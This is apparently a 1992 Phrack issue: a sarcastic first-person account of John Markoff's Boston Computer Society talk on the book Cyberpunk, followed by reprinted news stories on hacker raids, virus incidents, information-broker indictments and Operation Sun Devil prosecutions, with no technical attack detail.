"Boston Computer Society General Meeting, Wednesday, January 22, 7:30pm. Katie Hafner, co‑author with husband John Markoff of _Cyberpunk_, talks about computer ethics [ya, right] and computer crimes. _Cyberpunk_ details the stories of three computer hackers: Kevin Mitnick, an expert phone phreak, who carried his hacking to obsession [isn't that a perfume?] and addiction‑wreaking havoc [holy SHIT!] with computer networks and top‑secret research; Pengo, from Germany, who penetrated US military computers and sold information to the Soviet Union; and Robert Morris, a Harvard and Cornell graduate, who released a virus [WORM!] program that crippled thousands of computers on Internet. This discussion may change how you think about computer accessibility [sure changed MY life..jeesh]."

That's how the advertisement appeared in the Boston Computer Society's UPDATE mag (without my bracketed snide comments, of course). Knight Lightning informed me of this meeting via electronic mail, and I read it the DAY it was happening. I had read about half of the book CYBERPUNK, and I know most of you have already checked it out. Yes, it is a piece of shit. A great deal of the info is *fabricated*, and the authors attempt to explain hacking as a "social disorder"...on par with juvenile delinquency.

True, a lot of hacking is just kids screwing around, but there is MORE to the scene than just that. What about the violation of civil liberties going on by the federal government and its agents? What about privacy on the nets? What about the REAL DRIVE behind most of the hacking going on today... the search for TECH KNOWLEDGE? These topics were NOT covered adequately in the book.

Seeing this meeting as a GREAT opportunity to grill Ms. Hafner and to hear what members of the BCS had to say, I attempted to quickly mobilize the entire RDT crew into attending. Alas, I was the *only* person able to make it. "What the hell," I figured, "I'm sure there'll be plenty of other people there who'll make the discussion lively and *heated*." Boy, was I wrong...

For starters, Ms. Hafner was unable to attend. Instead, her husband and co‑author, John Markoff showed up. I had never been to a BCS meeting before, and figured that the members would be relatively intelligent about computers and computer ethics. Well, about 80 people filled the lecture hall, and ALL of them were older than me (and I'm 24 by the way). Looked like mostly yuppie trash ("Gee, I just bought this 486...I wonder what it does. Guess I'll join the BCS!") and some old professor‑types. Suddenly, I felt a chill... *Weenie‑alert* Two bozos behind me were trying to discuss how to write an MS‑DOS CONFIG.SYS file:

"Bob, my computer is all messed up. Doesn't work." "Gee, well, maybe you need one of those set device equals things!"

NOTE: ALL quotes are REAL...Yes, truth is stranger than fiction...

Oh well...Finally, John Markoff came on‑stage looking a lot like Dustin Hoffman. He started out by talking for 15 minutes on the definitions of "hacker," "cracker," and "cyberpunk." This is when my migraine started (a small throbbing pulse in my left temple). He discussed the origin of the term "cyberpunk" and made MANY references to *BILL* Gibson. Guess he wanted to stroke himself and make his "personal" relationship with Gibson known to all. Then, he talked in DETAIL about how HE figured out who set loose the Internet worm. "I told them to 'finger RTM'... and the name Robert T. Morris popped up." Boy, some SERIOUS tech wizardry going on there. Markoff patted himself on the back for about 10 minutes more. He also seemed proud of his dealings with Cliff Stoll (as he plugged THE CUCKOO'S EGG about 5 times). Stroke, stroke, stroke. He seemed really *proud* at having discovered all this info about the computer underground (even though his book is ONLY about *THREE* case studies!!!).

"We wanted to get inside these cultures..."

Well his book was basically just a REPORT of WHAT HAPPENED (not even factual half the time)... NOT about the CULTURE... NOT about what really made these people tick... NOT about what REALLY ATTRACTS people to the computer underground. He was just a *reporter*, looking for a scoop. Nothing more.

After describing his book, he opened up the presentation to discussion. The FIRST question was by some BCS dork:

"Do you know anything about the printer‑ROM virus used in the Iraqi computer systems?"

I got a sick feeling in my stomach. Markoff talked about this for 10 minutes with comments by other BCS members thrown in. ARRRGH. Anyway, the NEXT question was a real winner:

"What about those computers that took the Turing test recently.. did they pass? Could you explain what a Turing test is?"

So maybe the BCS people WERE NOT that up on things. Maybe none of them read the book. Maybe none of them have ever read Phrack or 2600. Maybe ALL of them have their heads shoved up their butts?

Finally, I made my move. I asked him:

"What do you think of the punishments given to convicted 'cyberpunks'? Do you think they're fair? What about seizure of equipment without charges, taking examples from Operation Sundevil?"

Markoff: "I think the government is just using scare tactics. It's a shame that equipment is seized. It's unconstitutional."

Yep, that is all he had to say about it. No comments on the POLICE STATE that's evolving on the nets. Nothing about what's being done to *protect* computer users' free speech. Next question of mine:

"What do you think really drives 'cyberpunks'...how 'serious' do you think the *crime* of *hacking* is?"

Markoff: "It's just juvenile delinquency. Most of it has nothing to do with tech wizardry. It's mostly con‑artists. I hope there is a 'fad element' to this cyberpunk thing. Hopefully they'll grow out of it."

Yeah, this guy certainly has his damn FINGER on the PULSE of the underground. We're just a bunch of delinquent, juvenile con‑artists. We'll grow out of it. Really. Man, I was steamed. What he said was full of *half‑truths* leaving out IMPORTANT things, like the drive for exploration of highly complicated networks and machinery, but I wasn't going to pick a fight with this guy. I calmed down and asked the next question on my list:

"What do you think of publications like Phrack and 2600? How do you feel about the E911 bust that tried to suppress Phrack?"

Markoff: "I don't buy their 'exploration' excuse. I don't want people testing the locks on MY computer. It's just juvenile delinquency."

How insightful. Completely ignored my question about the E911 affair. So much for understanding the underground. Ya, we all read stuff like Phrack and 2600 JUST so we can FUCK UP things.

***ONE interesting thing he mentioned was that MOST hacker‑related crimes are INSIDE JOBS. Trusted people working on the INSIDE. Well, that was the ONLY thing he said that I totally agreed with. At least Markoff isn't trying to start a "Cyberpunk Witch‑Hunt"...not like OTHER people (i.e., Geraldo, Don Ingram, etc.).

This gets REAL funny now. Other BCS members seemed to have NO interest in talking about hacking/phreaking/civil liberties/hacker ethic/etc. ONE guy asked:

"Is piracy a big problem in the US?"

Another asked:

"Do pirate bulletin boards still exist?"

Some *insightful* BCS member said:

"Yeah, but it's dangerous. Lawyers call up and check to see if you have copyrighted software. You can go to jail for it!"

Markoff: "Yes, piracy is still rampant. I can't give you any numbers <cheesy smile here> but I know many exist."

BCS member responds:

"You mean I can just call a number and get Pagemaker for free?"

At this point, I vomited violently..at least my BRAIN did. Many other stupid questions were asked, but I won't torture you further ("What about the IBM/Apple merger?"...that sort of thing). I managed to get in ONE LAST question:

"What do you think of 'reformed cyberpunks'...for nstance, the security consulting company 'Comsec' formed by ex‑LOD members?"

Markoff: "I think that any company that hires them should know what they're getting into. I'm skeptical. *I* wouldn't hire them."

You should know that at this point MOST of the BCS dorks laughed out loud, in annoying, weenie‑like chuckles of mirth. It took all of my strength not to get up and crack skulls. So much for intelligent discussions. Actually, throughout MOST of the meeting, people were laughing for no apparent reason. Guess they knew something I didn't?

In the final analysis, the meeting confirmed my suspicions that Markoff is just a reporter trying to make a buck. Cashing in on half‑truths. Not at all interested in the "cyberpunk's" point of view. Not interested in the ETHICS and MORAL RAMIFICATIONS of hacker busts. He's just reporting the "news." At least he wasn't trying to stir up a "witch‑hunt"...but then again, he isn't contributing much to the awareness of the underground and what it "really" means...hacking is NOT a sickness...it is NOT something to "grow out of"... it means freedom of speech...freedom to explore (to an extent..heh) and the DESIRE to explore. MUCH more than juvenile delinquency. I hope someone writes a book from that perspective someday.

I also got an insight into the BCS community. Clueless. Need I say more?

I hope you enjoyed this file. Look for more "Special Reports" in the near future.

: ‑=Restricted ‑=Data ‑=Transmissions :

:

: "Truth is cheap, but information costs." :

PWN/Part 1

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXVII / Part One of Four PWN

PWN PWN

PWN Compiled by Dispater & Spirit Walker PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Federal Seizure Of "Hacker" Equipment December 16, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Barbara E. McMullen & John F. McMullen (Newsbytes)

"New York's MOD Hackers Get Raided!"

NEW YORK CITY ‑‑ Newsbytes has learned that a joint Unites States Secret Service / Federal Bureau of Investigation (FBI) team has executed search warrants at the homes of so‑called "hackers" at various locations across the country and seized computer equipment.

It is Newsbytes information that warrants were executed on Friday, December 6th in various places including New York City, Pennsylvania, and the state of Washington. According to informed sources, the warrants were executed pursuant to investigations of violations of Title 18 of the federal statutes, sections 1029 (Access Device Fraud), 1030 (Computer Fraud and Abuse Act), 1343 (Wire Fraud), and 2511 (Wiretapping).

Law enforcement officials contacted by Newsbytes, while acknowledging the warrant execution, refused to comment on what was called "an on‑going investigation." One source told Newsbytes that the affidavits underlying the search warrants have been sealed due to the on‑going nature of the investigation."

He added "There was obviously enough in the affidavits to convince judges that there was probable cause that evidence of a crime would be found if the search warrants were issued."

The source also said that he would expect a statement to be issued by the Secret Service/FBI team "somewhere after the first of the year."

________________________________________

Two Cornell Students Arrested for Spreading Computer Virus February 27, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Lee A Daniels (New York Times News Service)

Special Thanks: Risks Digest

Two Cornell University undergraduates were arrested Monday night and charged with developing and spreading a computer virus that disrupted computers as far away as California and Japan, Cornell officials said. M. Stewart Lynn, vice president for information technologies at the university in Ithaca, N.Y., identified the students as David Blumenthal and Mark Pilgrim. Lynn said that both Blumenthal, who is in the engineering program, and Pilgrim, in the college of arts and sciences, were 19‑year‑old sophomores. They were arrested on the evening of February 24 by Cornell and Ithaca police officers. Lynn said the students were arraigned in Ithaca City Court on charges of second‑degree computer tampering, a misdemeanor, and taken to the county jail. Lynn said authorities believed that the two were responsible for a computer virus planted in three Macintosh games on February 14.

He identified the games as Obnoxious Tetris, Tetricycle and Ten Tile Puzzle. The virus may have first appeared in a Stanford University public computer archive and spread from there through computer users who loaded the games into their own computers.

Lynn said officials at Cornell and elsewhere became aware of the virus last week and quickly developed what he described as "disinfectant" software to eradicate it. He said officials traced the virus to Cornell last week, but he would not specify how that was done or what led officials to the two students. Lynn said he did not yet know how much damage the virus had caused. "At Cornell we absolutely deplore this kind of behavior," he said.

Note: References to the Robert Morris, Jr. virus incident at Cornell deleted. Associated Press reported that both defendants are being held in the Tompkins County Jail on $10,000 bail.

________________________________________

Man Admits to NASA Hacking November 26, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~

By John C Ensslin (Rocky Mountain News)(Page 6)

Also see Phrack 34, File 11

Special Thanks: The Public

A self‑taught computer hacker with a high school education admitted Monday to breaking into a sensitive NASA computer system ‑‑ in less time than it takes the Broncos to play a football game.

Richard G. Wittman Jr., 24, told Denver U.S. District Judge Sherman Finesilver that it took him about "1 1/2 to 2 hours" on a personal computer using telephone lines in his apartment to tap into the space agency's restricted files.

Wittman pleaded guilty Monday to one felony count of altering information ‑‑ a password ‑‑ inside a federal computer. In exchange for the plea, federal prosecutors dropped six similar counts in indictments handed up in September.

The Northglenn High School graduate told the judge he hadn't had much schooling in computers. Most of what he knew about computers he learned from books. And most of those books, he said, are in a federal warehouse, seized after FBI agents searched his Westminster apartment last year.

"Do you think you could teach these two lawyers about computers?" Finesilver asked, referring to Wittman's public defender and the prosecutor. "Probably," Wittman replied.

Wittman not only broke into 118 NASA systems, he also reviewed files and electronic mail of other users, said assistant U.S. attorney Gregory C. Graf.

It took NASA investigators nearly 300 hours to track Wittman an another 100 hours to rewrite the software, Graf said.

Wittman faces up to five years in prison and a $250,000 fine. But Graf said the government will seek a much lighter penalty when Wittman is sentenced in Jan. 13.

Both sides have agreed on repayment of $1,100 in collect calls placed to the other computer system. But they differ on whether Wittman should be held responsible for the cost of new software.

________________________________________

Hacker Pleads Guilty December 5, 1991

~~~~~~~~~~~~~~~~~~~~

Special Thanks: Iron Eagle

"A 24‑year‑old Denver hacker who admitted breaking into a sensitive NASA computer system pleaded guilty to a felony count of altering information.

In exchange for the plea Monday, federal prosecutors dropped six similar counts against Richard G. Wittman Jr., who faced up to five years in prison and a $250,000 fine. Authorities said the government will seek a much lighter penalty when Wittman is sentenced January 13.

Both sides have agreed on repayment of $1,100 in collect calls he placed to the computer system, but they differ on whether Wittman should be held responsible for the cost of new software.

Wittman told U.S. District Judge Sherman Finesilver that it took him about two hours on a personal computer in his apartment to tap into the space agency's restricted files. It took NASA investigators nearly 300 hours to track Wittman and an additional 100 hours to rewrite the software to prevent a recurrence, prosecutors said."

________________________________________

Recent Novell Software Contains A Hidden Virus December 20, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By John Markoff (New York Times)

The nation's largest supplier of office‑network software for personal computers has sent a letter to approximately 3,800 customers warning that it inadvertently allowed a software virus to invade copies of a disk shipped earlier this month.

The letter, sent on Wednesday to customers of Novell Inc., a Provo, Utah, software publisher, said the diskette, which was mailed on December 11, had been accidentally infected with a virus known by computer experts as "Stoned 111."

A company official said yesterday that Novell had received a number of reports >from customers that the virus had invaded their systems, although there had been no reports of damage.

But a California‑based computer virus expert said that the potential for damage was significant and that the virus on the Novell diskette frequently disabled computers that it infected.

MASSIVE POTENTIAL LIABILITIES

"If this was to get into an organization and spread to 1,500 to 2,000 machines, you are looking at millions of dollars of cleanup costs," said John McAfee, president of McAfee & Associates, a Santa Clara, Calif. antivirus consulting firm. "It doesn't matter that only a few are infected," he said. "You can't tell. You have to take the network down and there are massive potential liabilities." Mr. McAfee said he had received several dozen calls from Novell users, some of whom were outraged.

The Novell incident is the second such case this month. On December 6, Konami Inc., a software game manufacturer based in Buffalo Grove, 111.wrote customers that disks of its Spacewrecked game had also become infected with an earlier version of the Stoned virus. The company said in the letter that it had identified the virus before a large volume of disks had been shipped to dealers.

SOURCE OF VIRUS UNKNOWN

Novell officials said that after the company began getting calls earlier this week, they traced the source of the infection to a particular part of their manufacturing process. But the officials said they had not been able to determine how the virus had infected their software initially.

Novell's customers include some of nation's largest corporations. The software, called Netware, controls office networks ranging from just two or three machines to a thousand systems.

"Viruses are a challenge for the marketplace," said John Edwards, director of marketing for Netware systems at Novell. "But we'll keep up our vigilance. He said the virus had attacked a disk that contained a help encyclopedia that the company had distributed to its customers.

SERVERS SAID TO BE UNAFFECTED

Computer viruses are small programs that are passed from computer to computer by secretly attaching themselves to data files that are then copied either by diskette or via a computer network. The programs can be written to perform malicious tasks after infecting a new computer, or do no more than copy themselves from machine to machine.

In its letter to customers the company said that the Stoned 111 virus would not spread over computer networks to infect the file servers that are the foundation of networks. File servers are special computers with large disks that store and distribute data to a network of desktop computers.

The Stoned 111 virus works by attaching itself to a special area on a floppy diskette and then copying itself into the computer's memory to infect other diskettes.

But Mr. McAfee said the program also copied itself to the hard disk of a computer where it could occasionally disable a system. In this case it is possible to lose data if the virus writes information over the area where a special directory is stored.

Mr. McAfee said that the Stoned 111 virus had first been reported in Europe just three months ago. The new virus is representative of a class of programs known as "stealth" viruses, because they mask their location and are difficult to identify. Mr. McAfee speculated that this was why the program had escaped detection by the company.

STEPS TOWARD DETECTION

Novell has been moving toward adding new technology to its software to make it more difficult for viruses to invade it, Mr. Edwards said. Recently, the company licensed special digital‑signature software that makes it difficult for viruses to spread undetected. Novell plans to add this new technology to the next major release of its software, due out at the end of 1992.

In the past, courts have generally not held companies liable for damages in cases where a third party is responsible, said Susan Nycum, a Palo Alto, California, lawyer who is an expert on computer issues. "If they have been prudent it wouldn't be fair to hold them liable," she said. "But ultimately it may be a question for a jury."

________________________________________

Working Assets Long Distance! January 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from an advertisement in Mother Jones

(Not pictured is a photo of a college student giving "the finger" to someone and a caption that reads 'Twenty years later, we've given people a better way to put this finger to use.')

The advertisement reads as follows:

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Sit‑ins. Protest marches, Flower power. Times have changed but the need for grass roots involvement hasn't.

Introducing "Working Assets Long Distance." The ONLY phone company that is as committed to social and political change as you are. Every time you use your finger to make a long distance call, one percent of the bill goes to non‑profit action groups at no cost to you. Hard‑hitting advocacy groups like AMNESTY INTERNATIONAL, GREENPEACE, PLANNED PARENTHOOD, FEDERATION OF AMERICA, THE AMERICAN CIVIL LIBERTIES UNION, and many others.

We're more than a phone company that gives money to good causes. Our intent is to make your individual voice heard. That's why we offer *FREE CALLS* to corporate and political leaders. And well‑argued letters at a fraction of the cost of a mail‑gram. So you can demand a halt to clear‑cutting our ancient forests or let Senators know how you feel about important issues like reproductive rights. It's that simple. Your phone becomes a tool for democracy and you don't give up a thing. You see, Working Assets comes with the exact same service as the major long distance carriers. Convenient dial 1 calling 24‑hour operation and fiber optic sound quality. All this at rates lower that AT&T's basic rates. And signing up couldn't be simpler.

Just give us a call at 1‑800‑788‑8588 ext 114 or fill out the coupon today. We'll hook you up right away without any intrusion or interruption. So you can help change the world without lifting a finger. Ok, maybe one finger.

________________________________________

Computer Virus Used in Gulf War January 12, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from The Boston Globe (Page 12)

Special Thanks: Tone Surfer

Several weeks before the start of the Gulf War, US intelligence agents inserted a computer virus into a network of Iraqi computers tied to that country's air defense system, a news magazine reports. US News and World Report said the virus was designed by the supersecret National Security Agency at Fort Meade, Maryland, and was intended to disable a mainframe computer.

The report, citing two unidentified senior US officials, said the virus appeared to have worked, but it gave no details. It said the operation may have been irrelevant, though, since the allies' overwhelming air superiority would have ensured the same results of rendering the air defense radars and missiles ineffective. The secret operation began when American intelligence agents identified a French made computer printer that was to be smuggled from Amman, Jordan, to a military facility in Baghdad.

The agents in Amman replaced a computer chip in the printer with another micro‑chip that contained the virus in its electronic circuits. By attacking the Iraqi computer through the printer, the virus was able to avoid detection by normal electronic security procedures, the report said. "Once the virus was in the system, the US officials explained, each time an Iraqi technician opened a "window" on his computer screen to access information, the contents of the screen simply vanished," US News reported.

The report is part of a book, based on 12 months of research by US News reporters, called "Triumph without Victory: The Unreported History of the Persian Gulf War," to be published next month.

________________________________________

Indictments of "Information Brokers" January 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from The Privacy Journal

The unholy alliance between "information brokers" and government bureaucrats who provide personal information has been uncovered in the grand jury indictments of 18 persons in 14 states.

United States Attorney Michael Chertoff in Newark, New Jersey, and his counterpart in Tampa, Florida, accused eight "information brokers" (or "information gatekeepers" or "super bureaus") of bribing two Social Security Administration employees to provide confidential earnings and employee information stored in federal computer files. The brokers, who fill in the cracks not occupied by national credit bureaus and who also track the whereabouts of persons, would sell the information to their clients ‑retailers, lawyers, detectives, insurance companies, and others.

Ned Flemming, president of Super Bureau Inc. of Montery, California, was indicted on 32 counts for coaxing a Social Security supervisor in New Jersey named Joseph Lynch (who was not charged) to provide confidential personal information for a fee. Fleming's daughter, Susan, was charged also, as were Victor Fought, operator of Locate Unlimited in Mesa, Arizona; George T. Theodore, owner of Tracers Worldwide Services in Corpus Christi, Texas; Richard Stone, owner of Interstate Information Services in Port Jefferson, New York; and Michael Hawes, former owner of International Criminal Investigative Agency (ICIA) in Port Angeles, Washington, for participating in the same conspiracy. Another broker, Joseph Norman Dillon Ross, who operates a firm under his name in Pauma Valley, California also accepted the personal data, according to Chertoff, but was not charged. Richard Stone was further indicted for corrupting a Social Security claims clerk in Melrose Park, Illinois. Also charged were Allen Schweitzer and his wife Petra, who operate Security Group Group in Sumner, Washington.

The government employees also stole personal information from the FBI's National Crime Information Center (NCIC), which stores data on arrests and missing persons.

Fleming told Privacy Journal that he had never met Lynch. Stone refused to comment. Tracers Worldwide, ICIA, and Locate Unlimited are not listed in telephone information, although all three companies are required by the Fair Credit Reporting Act to permit the subjects of their files to have disclosure of such information to them.

The 18‑month long investigation culminating in the December 18 indictments and arrests is only the first phase, said Assistant U.S. Attorney Jose Sierra. "We don't think it stops there."

For the past three years, the Big Three credit bureaus have continued to sell credit information regularly to information brokers, even after complaints that some of them violated the Fair Credit Reporting Act in disclosing credit information for impermissible purposes. Trans Union's president, Albert Flitcraft, told Congress in 1989 that is was not possible for a major credit bureau to protect consumer information sold to brokers. John Baker, Equifax senior vice‑president, said at the time that the Big Three would "put together our best thinking" to see if safeguards could be developed. By 1991, Oscar Marquis, vice‑president of Trans Union, was asking Congress for solutions, but Baker presented Equifax's new guidelines and checklist for doing business with the brokers. None of the Big Three has been willing to cease doing business with the cloudy merchants of recycled credit reports ‑‑ and of purloined Social Security and FBI information.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Meanwhile, at the Internal Revenue Service...

Two weeks after he blew the cover off the information brokers, U.S. Attorney Michael Chertoff in New Jersey indicted a retired chief of the Internal Revenue Service Criminal Investigation Division for selling personal information to a California private investigative firm in his last week on the job in 1988.

For a $300 payment, according to the indictment, the IRS executive, Robert G. Roche, promised to procure non‑public marital records from vital records offices. Using false pretenses, he ordered one of his subordinates to get the information, on government time. The aide got the records in one instance only after writing out an IRS summons and in another instance after producing a letter on IRS stationary saying the information was needed for "official investigative matters." Roche, according to the U.S. Attorney, accepted payment from the California investigative firm of Saranow, Wells, & Emirhanian, part of a larger network called Financial Investigative Services Group.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The Privacy Journal is an independent monthly on privacy in the computer age. They can be reached at:

Privacy Journal

P.O Box 28577

Providence, Rhode Island 02908

(401)274‑7861

________________________________________

SSA, FBI Database Violations Prompt Security Evaluations January 13, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Kevin M. Baerson (Federal Computer Week)(Pages 1, 41)

Indictments recently handed down against insiders who bought and sold confidential information held in Federal Bureau of Investigation and Social Security Administration computers have prompted agency officials to evaluate how well the government secures its databases.

"I see this as positive more than negative," said David Nemecek, section chief for the FBI's National Crime Information Center (NCIC), which contains data on thousands of people suspected and convicted of crimes. "Am I happy it happened? No. But it led us to discovering that this was happening and it sends a message that if people try it, they will get caught."

But Renny DiPentima, assistant commissioner of SSA's Office of System Design and Development, said he did not view the indictments as a positive development.

"It's not a victory," DiPentima said. "Even if we catch them, it's a loss. My victory is when I never have a call that someone has abused their position."

The "information broker" bust was the culmination of an 18‑month investigation by the Department of Health and Human Services' inspector general's office in Atlanta. Officials said it was the largest case ever prosecuted involving the theft of federal computer data. More indictments could be forthcoming, they said.

Special agents from the FBI joined the inquiry and in the end nabbed 18 people >from 10 states, including one former and two current SSA employees. Others indicted were a Chicago police officer, an employee of the Fulton County Sheriff's Office in Georgia, and several private investigators.

The indictments alleged that the investigators paid for confidential data, including criminal records and earnings histories, that was lifted from the databases by people who exploited their access to the records.

"The FBI cannot manage every person in the United States," Nemecek said. "We have all kinds of protection to prevent this from happening. We keep logs of who uses the systems and for what, security training programs and routine audits of inquiries."

"But the people who committed the violations had access to the system, and there's only one way to deal with that: aggressive prosecution of people who do this. And the FBI is actively pursuing these individuals."

DiPentima's problem is equally delicate. His agency performs 15 million electronic transactions per day ‑‑ 500 per second ‑‑ and monitoring the rights and wrongs of those people is a daunting task.

Currently, every employee who uses the network is assigned a password and personal identification number, which change frequently. Depending on the nature of the employee's job, the PIN grants him access to certain types of information.

If the employee tries to access a menu in the system that he has not been authorized to enter, or makes more than one error in entering his PIN number, he is locked off the system. Once that happens, only a security office from one of SSA's 10 regional offices can reinstate the employee.

An SSA section chief and six analysts, working from the agency's data center headquarters outside Baltimore, also search routinely for transactional aberrations such as employees who have made an unusual number of transactions on a certain account.

The FBI also has a number of security precautions in place. FBI personnel conduct random audits of searches, and Nemecek said sweeping state and local audits of the system are performed biannually. Furthermore, if the FBI desires, it easily can track an access request back to the terminal and user it came from.

DiPentima said that in the wake of the indictments, he is considering new policies to clamp down on abusers.

Nemecek said that as the FBI continues upgrading the NCIC database, the center might automate further its auditing of state and local agencies to detect patterns and trends of use the way SSA does.

But despite efforts to tighten the screws on network security, both men realize that in cases of federal and municipal employees who exploit authorized access, technology and policies can only go so far in affecting human nature.

________________________________________

Free University Suffers Damage. February 24, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By The Dude (of Holland)

An investigation by the Amsterdam police, in cooperation with an anti‑fraud team of the CRI (sort of like the FBI), and the geographical science department of the Free University has led to the arrests of two hackers. The two had succeeded to break into the department's computer system and caused damage of over 100,000 Dutch Guilders.

In a press conference, held by the research teams last Friday, it was stated that the duo, a 25‑year old computer‑science engineer R.J.N. from Nuenen [aka Fidelio] and a 21‑year old student computer‑science H.H.H.W. from Roermond [aka Wave], were the first "hackers" to be arrested in the Netherlands. In several other countries this has already happened before.

The arrested hackers made a complete confession. Since November 1991, they have entered the University's computer between 30 and 40 times. The system was known as "bronto." From this system the hackers were able to gain access to other systems, thus travelling to systems in the US, Scandinavia, Spain and Italy.

According to the leader of the computer‑crime team of the Amsterdam police, D. Komen, the two cracked codes of the VU‑system to get in. They got their hands on so‑called "passwords" of officially registered users, which allowed them to use the system at no cost. They were also able to get the "highest of rights" within the computer system "bronto."

A total of four houses were searched, and several PC's, printouts and a large quantity of diskettes was seized. The duo was taken to the DA and imprisoned. Because "hacking" is not a criminal offense in the Netherlands, the suspects are officially accused of falsification of records, destruction of property, and fraud.

This year the government expects to enact legislation that will make hacking a criminal offense, according to P.Slort of the CRI.

The hacker‑duo stated that they undertook their illegal activities because of fanatic "hobbyism." "It's a kick to see how far you can go", says Mr. Slort of the CRI. The two said they did not know that their data journeys had caused enormous damages. The police do not see them as real criminals, either since the pair did not earn money from their activities.

________________________________________

Computer Engineer Gets Death Sentence February 9, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Special Thanks: Ninja Master

Richard Farley was cool to the end, taking a sip of water and smoothing his jacket before leaving the courtroom where he was sentenced to die for killing seven people in a rage over unrequited love.

"I'm not somebody who is demonstrative or prone to shedding tears", Farley said Friday before apologizing for the slayings. "I do feel sorry for the victims....I'm not a perfect human being. I'm good. I'm evil."

Farley was convicted in October of the 1988 slayings at ESL Inc., a Sunnyvale defense contractor. Jurrors on November 1st recommended the death penalty for the computer engineer, who prosecutors said planned the rampage to get the attention of a former co‑worker who rejected him.

Superior Court Judge Joseph Biafore Jr. called Farley a vicious killer who had "complete disregard for human life."

"The defendant...killed with the attention to prove to the object of his unrequited love that he wasn't a wimp anymore," Biafore said.

During the trial, prosecutors detailed Farley's 3 1/2‑year obsessive pursuit of Laura Black. He sent her more than 100 letters, followed her day and night, left gifts on her desk, and rifled through confidential personnel files to glean tidbits about her life.

Despite her repeated rejections, Farley persisted and was fired in 1987 for harassing her. A year later, he returned to ESL.

Black, 30, was shot in the shoulder during the rampage, but survived to testify against Farley. She said that about a week before the slayings, she had received a court order to keep him away.

Farley, 43, admitted the killings but pleaded not guilty, saying he never planned to kill but only wished to get Black's attention or commit suicide in front of her for rejecting him.

Farley's attorney, Gregory Paraskou, argued that Farley's judgement was clouded by his obsession with Black and that he was not violent before the slayings and likely would not kill again.

But Asst. Dist. Atty. Charles Constantinides said Farley spent years preparing for the murder by taking target practice and buying weapons, including the firearms and 98 pounds of ammunition he used at ESL.

The judge rejected the defense's request for a modified sentence of life in prison and a request for a new trial. Under California law, Farley's death sentence will be automatically sent to the state Supreme Court for review.

Among those in the courtroom were family members of some of the victims, including four who addressed the judge.

PWN/Part 2

Volume Four, Issue Thirty‑Seven, File 12 of 14

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXVII / Part Two of Four PWN

PWN PWN

PWN Compiled by Dispater & Spirit Walker PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Operation Sun‑Devil Nabs First Suspect February 17, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Michael Alexander (ComputerWorld)(Page 15)

"Defendant Pleads Guilty To Possession Of Access Codes, Faces 10‑year Term"

The U.S. Department of Justice said last week that it had successfully completed its first prosecution in the Operation Sun‑Devil investigation.

Robert Chandler [a/k/a The Whiz Kid and former bulletin board system operator of the Whiz House in 619 NPA], 21, pleaded guilty in federal court in San Diego to a single felony for possessing 15 or more access codes, which can be used illegally to make toll‑free telephone calls, said Scott Charney, who heads the Justice Department's computer crime unit in Washington, D.C. Chandler also admitted to using the access codes, Charney said.

Chandler will be sentenced on May 11. The legal maximum penalty is 10 years' imprisonment, but federal prosecutors will probably recommend probation, assuming the sentencing guidelines and the judge handling the case permit it, Charney said.

Chandler may also be required to make restitution of a still‑undetermined amount for telephone calls made with the access code.

On May 7 and 8, 1990, U.S. Secret Service and local law enforcement officials executed more than 20 search warrants [more like 27] in 14 cities in a nationwide crackdown on computer crime code called Operation Sun‑Devil. Federal law enforcers said the raid was aimed at rounding up computer‑using outlaws who were engaged in telephone and credit‑card fraud.

Approximately 42 computers and 23,000 disks were swept up in the dragnet, but until last week there were no indictments or convictions in the investigation.

The Justice Department has been severely criticized by Computer Professionals for Social Responsibility (CPSR), the Electronic Frontier Foundation (EFF), and other advocacy groups for its handling of Operation Sun‑Devil cases. CPSR has charged that federal law enforcers trampled on the First and Fourth Amendment rights of those targeted in the raids.

________________________________________

No More Fast Times For Spicoli

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Night Ranger

On November 19, 1991, Spicoli was awaken by Pima County (Arizona) Sheriffs and some other agents in his apartment. They showed him their search warrants, which was obtained under the suspicion of "Computer Fraud and/or Theft" and asked him to step outside. They began dismantling his computer system, which ran his bulletin board called "Fast Times." It was not a hack/phreak bulletin board and contained no information that would normally be construed as such. The main reason he ran the board was because he was writing it himself.

The authorities took many items not related to his computer, including his VCR. He was not charged with any crimes and additionally he was informed that he was "free to go." This incident is very similar to what happened with the hacker "Mind Rape." Late last year, his home was raided and lots of items were seized, but no charges followed.

Spicoli attempted to hire private legal counsel, but discovered that it was beyond his means financially. Since then, he has chosen to go with the public defender's office.

Weeks later, it was revealed that his case concerned an undisclosed, but presumably large amount of stolen money and he was charged with various felonies. He further learned that the authorities had been monitoring him over a period of at least three months. Anyone who had contact with him between August and November should be careful. His computer is now in the hands of the government.

